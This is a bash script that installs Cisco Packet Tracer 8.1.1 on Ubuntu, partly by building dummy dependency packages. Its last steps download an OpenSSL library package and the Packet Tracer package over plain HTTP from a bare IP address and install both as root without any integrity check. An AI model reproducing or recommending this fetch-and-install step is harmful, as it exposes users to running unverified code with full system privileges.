#!/bin/bash
set -e
echo "=== Cisco Packet Tracer 8.1.1 Installer for Ubuntu 24.04+ ==="

sudo apt update

echo "[*] Installing required libraries..."
sudo apt install -y libgl1 libxcb-xinerama0 equivs wget

echo "[*] Creating dummy libgl1-mesa-glx package..."
mkdir -p ~/packettracer-fix && cd ~/packettracer-fix

cat > libgl1-mesa-glx << CTRL
Section: misc
Priority: optional
Standards-Version: 3.9.2
Package: libgl1-mesa-glx
Version: 99
Maintainer: Dummy <dummy@nowhere>
Architecture: all
Description: Dummy package to satisfy Cisco Packet Tracer dependency
CTRL

equivs-build libgl1-mesa-glx
sudo dpkg -i libgl1-mesa-glx_99_all.deb

echo "[*] Creating dummy libxcb-xinerama0-dev package..."

cat > libxcb-xinerama0-dev << CTRL
Section: misc
Priority: optional
Standards-Version: 3.9.2
Package: libxcb-xinerama0-dev
Version: 99
Maintainer: Dummy <dummy@nowhere>
Architecture: all
Description: Dummy package to satisfy Cisco Packet Tracer dependency
CTRL

equivs-build libxcb-xinerama0-dev
sudo dpkg -i libxcb-xinerama0-dev_99_all.deb

echo "[*] Installing OpenSSL 1.1 libraries..."
wget -O /tmp/libssl1.1.deb "http://193.23.220.58/libs/libssl1.1.deb"
sudo dpkg -i /tmp/libssl1.1.deb || true

echo "[*] Downloading Cisco Packet Tracer..."
mkdir -p ~/Downloads
wget -O ~/Downloads/Cpt8.1.1.deb "http://193.23.220.58/files/Cpt8.1.1.deb"

echo "[*] Installing Packet Tracer..."
cd ~/Downloads
sudo dpkg -i Cpt8.1.1.deb || sudo apt --fix-broken install -y

echo "=== Installation complete! Run 'packettracer' to start ==="
